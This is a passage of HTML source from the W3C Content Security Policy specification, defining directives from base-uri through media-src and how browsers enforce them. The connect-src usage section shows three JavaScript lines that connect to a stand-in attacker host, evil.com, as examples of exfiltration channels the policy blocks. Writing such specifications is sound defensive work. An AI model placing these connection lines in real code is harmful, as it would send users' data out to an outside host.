</ul>\n\n<p>In either case, authors SHOULD NOT include either\n  <code>'unsafe-inline'</code> or <code>data:</code> as valid sources in\n  their policies. Both enable XSS attacks by allowing code to be included\n  directly in the document itself; they are best avoided completely.</p>\n\n<p>Redirects are another area of potential concern. Authors SHOULD NOT include\n  <code>'unsafe-redirect'</code> as valid sources in their policies. It makes\n  it more difficult to reason about the complete set of resources that a policy\n  allows, especially given the path behavior outlined in the\n  <a data-section=\"\" href=#source-list-paths-and-redirects>§4.2.2.3 Paths and Redirects</a> section.</p>\n\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=7.1 id=directive-base-uri><span class=secno>7.1 </span><span class=content><code>base-uri</code></span><a class=self-link href=#directive-base-uri></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=base-uri>base-uri<a class=self-link href=#base-uri></a></dfn></code> directive restricts the URIs that can\n    be used to specify the <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#document-base-url title=\"document base url\">document base URL</a>. The syntax for\n    the name and value of the directive are described by the following ABNF\n    grammar:</p>\n\n    <pre>directive-name    = \"base-uri\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-base-uris>allowed base URIs<a class=self-link href=#allowed-base-uris></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>base-uri</code> directive’s\n    value as a source list</a>.</p>\n\n<p>Step 4 of the algorithm defined in HTML5 to obtain a\n    <em>document’s base URL</em> MUST be changed to:</p>\n\n    <ol start=4>\n      <li>If the previous step was not successful, or the result of the\n      previous step does not <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a>\n      the <a data-link-type=dfn href=#allowed-base-uris title=\"allowed base uris\">allowed base URIs</a>, then the <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#document-base-url title=\"document base url\">document base URL</a>\n      is <var>fallback base URL</var>. Otherwise, it is the result of the\n      previous step.</li>\n    </ol>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=7.2 id=directive-child-src><span class=secno>7.2 </span><span class=content><code>child-src</code></span><a class=self-link href=#directive-child-src></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=child-src>child-src<a class=self-link href=#child-src></a></dfn></code> directive governs the creation of\n    <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#nested-browsing-context title=\"nested browsing contexts\">nested browsing contexts</a> as well as Worker execution\n    contexts. The syntax for the name and value of the directive are described\n    by the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"child-src\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-child-sources>allowed child sources<a class=self-link href=#allowed-child-sources></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>child-src</code>\n    directive’s value as a source list</a> if a <code>child-src</code>\n    directive is explicitly specified, and otherwise to the\n    <a data-link-type=dfn href=#default-sources title=\"default sources\">default sources</a>.</p>\n\n    <section>\n      <h4 class=\"heading settled heading\" data-level=7.2.1 id=directive-child-src-nested><span class=secno>7.2.1 </span><span class=content>Nested Browsing Contexts</span><a class=self-link href=#directive-child-src-nested></a></h4>\n\n<p>To enforce the <code>child-src</code> directive the user agent MUST\n      enforce the <code><a data-link-type=dfn href=#frame-src title=frame-src>frame-src</a></code> directive.</p>\n    </section>\n\n    <section>\n      <h4 class=\"heading settled heading\" data-level=7.2.2 id=directive-child-src-workers><span class=secno>7.2.2 </span><span class=content>Workers</span><a class=self-link href=#directive-child-src-workers></a></h4>\n\n<p>Whenever the user agent <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#fetch title=fetches>fetches</a> a URL while processing the\n      <code>Worker</code> or <code>SharedWorker</code> constructors\n      <a data-biblio-type=normative data-link-type=biblio href=#biblio-workers title=biblio-workers>[WORKERS]</a>, the user agent MUST act as if there was a fatal network\n      error and no resource was obtained, <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>\n      if the URI does not <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the\n      <a data-link-type=dfn href=#allowed-child-sources title=\"allowed child sources\">allowed child sources</a>.</p>\n    </section>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=7.3 id=directive-connect-src><span class=secno>7.3 </span><span class=content><code>connect-src</code></span><a class=self-link href=#directive-connect-src></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=connect-src>connect-src<a class=self-link href=#connect-src></a></dfn></code> directive restricts which URIs the\n    protected resource can load using script interfaces. The syntax for the name\n    and value of the directive are described by the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"connect-src\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-connection-targets>allowed connection targets<a class=self-link href=#allowed-connection-targets></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>connect-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>connect-src</code> directive, or otherwise to the\n    <a data-link-type=dfn href=#default-sources title=\"default sources\">default sources</a>.</p>\n\n<p>Whenever the user agent <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#fetch title=fetches>fetches</a> a URI in the course of one of the\n    following activities, if the URI does not\n    <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the <a data-link-type=dfn href=#allowed-connection-targets title=\"allowed connection targets\">allowed connection\n    targets</a>, the user agent MUST act as if there was a fatal network error\n    and no resource was obtained, <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>:</p>\n\n    <ul>\n      \n      <li>Processing the <a href=http://www.w3.org/TR/XMLHttpRequest/#the-send()-method><code>send()</code>\n      method</a> of an <code>XMLHttpRequest</code> object.</li>\n\n      <li>Processing the <a href=http://dev.w3.org/html5/websockets/#websocket><code>WebSocket</code>\n      constructor</a>.</li>\n\n      <li>Processing the <a href=http://dev.w3.org/html5/eventsource/#eventsource><code>EventSource</code>\n      constructor</a>.</li>\n    </ul>\n    <section class=informative>\n      <h4 class=\"heading settled heading\" data-level=7.3.1 id=connect-src-usage><span class=secno>7.3.1 </span><span class=content>Usage</span><a class=self-link href=#connect-src-usage></a></h4>\n\n<p><em>This section is not normative.</em></p>\n\n<p>JavaScript offers a few mechanisms that directly connect to an\n      external server to send or receive information. <code>EventSource</code>\n      maintains an open HTTP connection to a server in order to receive push\n      notifications, <code>WebSockets</code> open a bidirectional communication\n      channel between your browser and a server, and <code>XMLHttpRequest</code>\n      makes arbitrary HTTP requests on your behalf. These are powerful APIs that\n      enable useful functionality, but also provide tempting avenues for data\n      exfiltration.</p>\n\n<p>The <code>connect-src</code> directive allows you to ensure that\n      these sorts of connections are only opened to origins you trust.\n      Sending a policy that defines a list of source expressions for this\n      directive is straightforward. For example, to limit connections to\n      only <code>example.com</code>, send the following header:</p>\n\n<pre>Content-Security-Policy: <a data-link-type=dfn href=#connect-src title=connect-src>connect-src</a> example.com</pre>\n\n<p>All of the following will fail with the preceding directive in\n      place:</p>\n\n      <ul>\n        <li><code>new WebSocket(\"wss://evil.com/\");</code></li>\n        <li><code>(new XMLHttpRequest()).open(\"GET\", \"https://evil.com/\", true);</code></li>\n        <li><code>new EventSource(\"https://evil.com\");</code></li>\n      </ul>\n    </section>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=7.4 id=directive-default-src><span class=secno>7.4 </span><span class=content><code>default-src</code></span><a class=self-link href=#directive-default-src></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=default-src>default-src<a class=self-link href=#default-src></a></dfn></code> directive sets a default\n    source list for a number of directives. The syntax for the name and\n    value of the directive are described by the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"default-src\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>Let the <dfn data-dfn-type=dfn data-noexport=\"\" id=default-sources>default sources<a class=self-link href=#default-sources></a></dfn> be the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>default-src</code>\n    directive’s value as a source list</a> if a <code>default-src</code>\n    directive is explicitly specified, and otherwise the U+002A ASTERISK\n    character (*).</p>\n\n<p>To enforce the <code>default-src</code> directive, the user agent\n    MUST enforce the following directives:</p>\n\n    <ul>\n      <li><code><a data-link-type=dfn href=#child-src title=child-src>child-src</a></code></li>\n      <li><code><a data-link-type=dfn href=#connect-src title=connect-src>connect-src</a></code></li>\n      <li><code><a data-link-type=dfn href=#font-src title=font-src>font-src</a></code></li>\n      <li><code><a data-link-type=dfn href=#img-src title=img-src>img-src</a></code></li>\n      <li><code><a data-link-type=dfn href=#media-src title=media-src>media-src</a></code></li>\n      <li><code><a data-link-type=dfn href=#object-src title=object-src>object-src</a></code></li>\n      <li><code><a data-link-type=dfn href=#script-src title=script-src>script-src</a></code></li>\n      <li><code><a data-link-type=dfn href=#style-src title=style-src>style-src</a></code></li>\n    </ul>\n\n<p>If not specified explicitly in the policy, the directives listed\n    above will use the <a data-link-type=dfn href=#default-sources title=\"default sources\">default sources</a> as their source list.</p>\n\n    <section>\n      <h4 class=\"heading settled heading\" data-level=7.4.1 id=default-src-usage><span class=secno>7.4.1 </span><span class=content>Usage</span><a class=self-link href=#default-src-usage></a></h4>\n\n<p><em>This section is not normative.</em></p>\n\n<p><code>default-src</code>, as the name implies, serves as a default\n      source list which the other source list-style directives will use as\n      a fallback if they’re not otherwise explicitly set. That is, consider\n      the following policy declaration:</p>\n\n<pre>Content-Security-Policy: <a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'self'</pre>\n\n<p>Under this policy, fonts, frames, images, media, objects, scripts,\n      and styles will all only load from the same origin as the protected\n      resource, and connections will only be made to the same origin. Adding\n      a more specific declaration to the policy would completely override\n      the default source list for that resource type.</p>\n\n<pre>Content-Security-Policy: <a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'self'; <a data-link-type=dfn href=#script-src title=script-src>script-src</a> example.com</pre>\n\n<p>Under this new policy, fonts, frames, and etc. continue to be load\n      from the same origin, but scripts will <em>only</em> load from\n      <code>example.com</code>. There’s no inheritance; the\n      <code><a data-link-type=dfn href=#script-src title=script-src>script-src</a></code> directive sets the allowed sources of\n      script, and the default list is not used for that resource type.</p>\n\n<p>Given this behavior, one good way of building a policy for a site\n      would be to begin with a <code>default-src</code> of\n      <code>'none'</code>, and to build up a policy from there that contains\n      only those resource types which are actually in use for the page you’d\n      like to protect. If you don’t use webfonts, for instance, there’s no\n      reason to specify a source list for <code><a data-link-type=dfn href=#font-src title=font-src>font-src</a></code>;\n      specifying only those resource types a page uses ensures that the\n      possible attack surface for that page remains as small as possible.</p>\n    </section>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=7.5 id=directive-font-src><span class=secno>7.5 </span><span class=content><code>font-src</code></span><a class=self-link href=#directive-font-src></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=font-src>font-src<a class=self-link href=#font-src></a></dfn></code> directive restricts from where the\n    protected resource can load fonts. The syntax for the name and value\n    of the directive are described by the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"font-src\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-font-sources>allowed font sources<a class=self-link href=#allowed-font-sources></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>font-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>font-src</code>, or otherwise to the\n    <a data-link-type=dfn href=#default-sources title=\"default sources\">default sources</a>.</p>\n\n<p>Whenever the user agent <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#fetch title=fetches>fetches</a> a URI in the course of one of the\n    following activities, if the URI does not\n    <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the <a data-link-type=dfn href=#allowed-font-sources title=\"allowed font sources\">allowed font sources</a>,\n    the user agent MUST act as if there was a fatal network error\n    and no resource was obtained, <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>:</p>\n\n    <ul>\n      <li>Requesting data for display in a font, such as when processing\n      the <a class=\"production css-code\" data-link-type=at-rule href=http://www.w3.org/TR/css-fonts-3/#at-font-face-rule title=@font-face>&lt;@font-face&gt;</a> Cascading Style Sheets (CSS) rule.</li>\n    </ul>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=7.6 id=directive-form-action><span class=secno>7.6 </span><span class=content><code>form-action</code></span><a class=self-link href=#directive-form-action></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=form-action>form-action<a class=self-link href=#form-action></a></dfn></code> restricts which URIs can be used as\n    the action of HTML <code><a data-link-type=element href=http://www.w3.org/TR/html5/forms.html#the-form-element title=form>form</a></code> elements. The syntax for the name and\n    value of the directive are described by the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"form-action\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-form-actions>allowed form actions<a class=self-link href=#allowed-form-actions></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>form-action</code>\n    directive’s value as a source list</a>.</p>\n\n<p>Whenever the user agent <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#fetch title=fetches>fetches</a> a URI in the course of one of the\n    following activities, if the URI does not\n    <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the <a data-link-type=dfn href=#allowed-form-actions title=\"allowed form actions\">allowed form actions</a>,\n    the user agent MUST act as if there was a fatal network error\n    and no resource was obtained, <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>:</p>\n\n    <ul>\n      <li>Processing an HTML <code><a data-link-type=element href=http://www.w3.org/TR/html5/forms.html#the-form-element title=form>form</a></code> element.</li>\n      <li>Pinging an endpoint during <a href=http://www.whatwg.org/specs/web-apps/current-work/multipage/links.html#hyperlink-auditing>hyperlink auditing</a></li>\n    </ul>\n\n<p class=note>Note: <code>form-action</code> does not fall back to the <a data-link-type=dfn href=#default-sources title=\"default sources\">default\n    sources</a> when the directive is not defined. That is, a policy that\n    defines <code><a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'none'</code> but not\n    <code>form-action</code> will still allow form submissions to any\n    target.</p>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=7.7 id=directive-frame-ancestors><span class=secno>7.7 </span><span class=content><code>frame-ancestors</code></span><a class=self-link href=#directive-frame-ancestors></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=frame-ancestors>frame-ancestors<a class=self-link href=#frame-ancestors></a></dfn></code> directive indicates whether the\n    user agent should allow embedding the resource using a\n    <code><a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/obsolete.html#frame title=frame>frame</a></code>, <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element title=iframe>iframe</a></code>,\n    <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a></code>, <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element title=embed>embed</a></code> or\n    <code><a data-link-type=element href=http://www.w3.org/TR/html5/obsolete.html#the-applet-element title=applet>applet</a></code> tag, or equivalent\n    functionality in non-HTML resources. Resources can use this directive to\n    avoid many UI Redressing <a data-biblio-type=informative data-link-type=biblio href=#biblio-uiredress title=biblio-uiredress>[UIREDRESS]</a> attacks by avoiding being embedded\n    into potentially hostile contexts.</p>\n\n<p>The syntax for the name and value of the directive are described by the\n    following ABNF grammar:</p>\n\n    <pre>directive-name  = \"frame-ancestors\"\ndirective-value = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-frame-ancestors>allowed frame ancestors<a class=self-link href=#allowed-frame-ancestors></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>frame-ancestors</code>\n    directive’s value as a source list</a>. If a <code>frame-ancestors</code>\n    directive is not explicitly included in the policy, then <a data-link-type=dfn href=#allowed-frame-ancestors title=\"allowed frame ancestors\">allowed frame\n    ancestors</a> is \"<code>*</code>\".</p>\n\n<p>To enforce the <code>frame-ancestors</code> directive, whenever the\n    user agent would load the protected resource into a <a data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#nested-browsing-context title=\"nested browsing context\">nested browsing\n    context</a>, the user agent MUST perform the following steps:</p>\n\n    <ol>\n      <li>Let <var>nestedContext</var> be the nested browsing context into\n      which the protected resource is being loaded.</li>\n\n      <li>Let <var>ancestorList</var> be the list of all\n      <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#ancestor-browsing-context title=ancestors>ancestors</a> of <var>nestedContext</var>.</li>\n\n      <li>For each <var>ancestorContext</var> in <var>ancestorList</var>:\n        <ol>\n          <li>Let <var>document</var> be <var>ancestorContext</var>’s\n          <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#active-document title=\"active document\">active document</a>.</li>\n\n          <li>If <var>document</var>’s URL does not\n          <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the <a data-link-type=dfn href=#allowed-frame-ancestors title=\"allowed frame ancestors\">allowed frame\n          ancestors</a>, the user agent MUST:\n            <ol>\n              <li>Abort loading the protected resource.</li>\n\n              <li>Act as if it received an empty <a data-link-type=dfn href=#http-200-response title=\"http 200 response\">HTTP 200 response</a>.</li>\n\n              <li><a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#parse-a-sandboxing-directive title=\"parse a sandboxing directive\">Parse a sandboxing directive</a> using the\n              empty string as the <em>input</em> and the newly created\n              document’s <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#forced-sandboxing-flag-set title=\"forced sandboxing flag set\">forced sandboxing flag set</a> as the\n              <em>output</em>.</li>\n            </ol>\n          </li>\n        </ol>\n      </li>\n    </ol>\n\n<p>Steps 2.2 and 2.3 ensure that the blocked frame appears to be a\n    normal cross-origin document’s load. If these steps are ignored,\n    leakage of a document’s policy state is possible. The user agent MAY\n    implement these steps by instead redirecting the user to friendly\n    error page in a unique origin which provides the option of opening\n    the blocked page in a new <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#top-level-browsing-context title=\"top-level browsing context\">top-level browsing context</a>.</p>\n\n<p>The <code>frame-ancestors</code> directive MUST be ignored\n    when <a data-link-type=dfn href=#monitor title=monitoring>monitoring</a> a policy, and when a contained in a\n    policy defined via a <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code> element.</p>\n\n<p class=note>Note: <code><a data-link-type=dfn href=#frame-ancestors title=frame-ancestors>frame-ancestors</a></code> does not fall back to the\n    <a data-link-type=dfn href=#default-sources title=\"default sources\">default sources</a> when the directive is not defined. That is, a policy\n    that defines <code><a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'none'</code> but not\n    <code>frame-ancestors</code> will still allow the resource to be framed from\n    anywhere.</p>\n\n<p>When generating a violation report for a <code>frame-ancestors</code>\n    violation, the user agent MUST NOT include the value of the embedding\n    ancestor as a <code>blocked-uri</code> value unless it is same-origin with\n    the protected resource, as disclosing the value of cross-origin ancestors\n    is a violation of the Same-Origin Policy.</p>\n\n    <section>\n      <h4 class=\"heading settled heading\" data-level=7.7.1 id=frame-ancestors-and-frame-options><span class=secno>7.7.1 </span><span class=content>\n        Relation to <code>X-Frame-Options</code>\n      </span><a class=self-link href=#frame-ancestors-and-frame-options></a></h4>\n\n<p>This directive is similar to the <code>X-Frame-Options</code> header that\n      several user agents have implemented. The <code>'none'</code> source\n      expression is roughly equivalent to that header’s <code>DENY</code>,\n      <code>'self'</code> to <code>SAMEORIGIN</code>, and so on. The major\n      difference is that many user agents implement <code>SAMEORIGIN</code> such\n      that it only matches against the top-level document’s location. This\n      directive checks each ancestor. If any ancestor doesn’t match, the load\n      is cancelled. <a data-biblio-type=normative data-link-type=biblio href=#biblio-rfc7034 title=biblio-rfc7034>[RFC7034]</a></p>\n\n<p>The <code>frame-ancestors</code> directive <em>obsoletes</em> the\n      <code>X-Frame-Options</code> header.  If a resource has both policies,\n      the <code>frame-ancestors</code> policy SHOULD be enforced and the\n      <code>X-Frame-Options</code> policy SHOULD be ignored.</p>\n    </section>\n\n    <section class=informative id=multiple-host-source-values>\n      <h4 class=\"heading settled heading\" data-level=7.7.2 id=frame-ancestors-multiple-source-values><span class=secno>7.7.2 </span><span class=content>Multiple Host Source Values</span><a class=self-link href=#frame-ancestors-multiple-source-values></a></h4>\n\n<p><em>This section is not normative.</em></p>\n\n<p>Multiple source-list expressions are allowed in a single policy (in contrast\n      to <code>X-Frame-Options</code>, which allows only one) to enable\n      scenarios involving embedded application components that are multiple levels\n      below the top-level browsing context.</p>\n\n<p>Many common scenarios for permissioned embedding (e.g. embeddable payment,\n      sharing or social apps) involve potentially many hundreds or thousands of\n      valid <code>source-list</code> expressions, but it is strongly recommended\n      against accommodating such scenarios with a static\n      <code>frame-ancestors</code> directive listing multiple values. In such\n      cases it is beneficial to generate this value dynamically, based on an\n      HTTP Referer header or an explicitly passed-in value, to allow only the\n      sources necessary for each given embedding of the resource.</p>\n\n<p>Consider a service providing a payments application at\n      <code>https://payments/makeEmbedded</code>. The service allows this resource\n      to be embedded by both merchant Alice and merchant Bob, who compete with each\n      other. Sending:</p>\n\n      <pre>Content-Security-Policy: <a data-link-type=dfn href=#frame-ancestors title=frame-ancestors>frame-ancestors</a> https://alice https://bob\n</pre>\n\n<p>would allow Bob to re-frame Alice’s resource and create fraudulent clicks,\n      perhaps discrediting Alice with her customers or the payments service. If the\n      payments service used additional information (e.g. as part of a URL like\n      <code>https://payments/makeEmbedded?merchant=alice</code>) to send\n      individually-tailored headers listing only the source-list expressions\n      needed by each merchant, this attack would be eliminated.</p>\n    </section>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=7.8 id=directive-frame-src><span class=secno>7.8 </span><span class=content><code>frame-src</code></span><a class=self-link href=#directive-frame-src></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=frame-src>frame-src<a class=self-link href=#frame-src></a></dfn></code> directive is <em>deprecated</em>.\n    Authors who wish to govern nested browsing contexts SHOULD use the\n    <code>child-src</code> directive instead.</p>\n\n<p>The <code>frame-src</code> directive restricts from where the\n    protected resource can embed frames. The syntax for the name\n    and value of the directive are described by the following ABNF\n    grammar:</p>\n\n    <pre>directive-name    = \"frame-src\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-frame-sources>allowed frame sources<a class=self-link href=#allowed-frame-sources></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>frame-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>frame-src</code>, or otherwise to the list of\n    <a data-link-type=dfn href=#allowed-child-sources title=\"allowed child sources\">allowed child sources</a>.</p>\n\n<p>Whenever the user agent <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#fetch title=fetches>fetches</a> a URI in the course of one of the\n    following activities, if the URI does not\n    <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the <a data-link-type=dfn href=#allowed-frame-sources title=\"allowed frame sources\">allowed frame sources</a>,\n    the user agent MUST act as if there was a fatal network error\n    and no resource was obtained, <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>:</p>\n\n    <ul>\n      <li>Requesting data for display in a <a data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#nested-browsing-context title=\"nested browsing context\">nested browsing context</a> in the\n      protected resource created by an <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element title=iframe>iframe</a></code> or\n      a <code><a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/obsolete.html#frame title=frame>frame</a></code> element.</li>\n\n      <li><a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#navigate title=navigated>Navigated</a> such a <a data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#nested-browsing-context title=\"nested browsing context\">nested browsing context</a>.</li>\n    </ul>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=7.9 id=directive-img-src><span class=secno>7.9 </span><span class=content><code>img-src</code></span><a class=self-link href=#directive-img-src></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=img-src>img-src<a class=self-link href=#img-src></a></dfn></code> directive restricts from where the\n    protected resource can load images. The syntax for the name and value\n    of the directive are described by the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"img-src\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-image-sources>allowed image sources<a class=self-link href=#allowed-image-sources></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>img-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>img-src</code>, or otherwise to the list of\n    <a data-link-type=dfn href=#default-sources title=\"default sources\">default sources</a>.</p>\n\n<p>Whenever the user agent <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#fetch title=fetches>fetches</a> a URI in the course of one of the\n    following activities, if the URI does not\n    <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the <a data-link-type=dfn href=#allowed-image-sources title=\"allowed image sources\">allowed image sources</a>,\n    the user agent MUST act as if there was a fatal network error\n    and no resource was obtained, <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>:</p>\n\n    <ul>\n      \n      <li>Requesting data for an image, such as when processing the\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/embedded-content-0.html#attr-img-src title=src>src</a></code> or\n      <code>srcset</code> attributes of an\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-img-element title=img>img</a></code> element, the\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/embedded-content-0.html#attr-img-src title=src>src</a></code> attribute of an\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/forms.html#the-input-element title=input>input</a></code> element with a type of\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/forms.html#attr-input-type-image-keyword title=image>image</a></code>,\n      the <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/embedded-content-0.html#attr-video-poster title=poster>poster</a></code> attribute of a\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#video title=video>video</a></code> element,\n      the <span class=css data-link-type=maybe title=url()>url()</span>, <a class=\"production css-code\" data-link-type=function href=http://dev.w3.org/csswg/css-images-4/#funcdef-image title=image()>&lt;image()&gt;</a> or <a class=\"production css-code\" data-link-type=function href=http://dev.w3.org/csswg/css-images-4/#funcdef-image-set title=image-set()>&lt;image-set()&gt;</a> values on any\n      Cascading Style Sheets (CSS)\n      property that is capable of loading an image <a data-biblio-type=normative data-link-type=biblio href=#biblio-css4-images title=biblio-css4-images>[CSS4-IMAGES]</a>, or\n      the <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-base-href title=href>href</a></code> attribute of a\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-link-element title=link>link</a></code> element with an image-related\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-link-rel title=rel>rel</a></code> attribute, such as\n      <code><a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/links.html#rel-icon-0 title=icon>icon</a></code>.</li>\n    </ul>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=7.10 id=directive-media-src><span class=secno>7.10 </span><span class=content><code>media-src</code></span><a class=self-link href=#directive-media-src></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=media-src>media-src<a class=self-link href=#media-src></a></dfn></code> directive restricts from where the\n    protected resource can load video, audio, and associated text tracks.\n    The syntax for the name and value of the directive are described by the\n    following ABNF grammar:</p>\n\n    <pre>directive-name    = \"media-src\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-media-sources>allowed media sources<a class=self-link href=#allowed-media-sources></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>media-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>media-src</code>, or 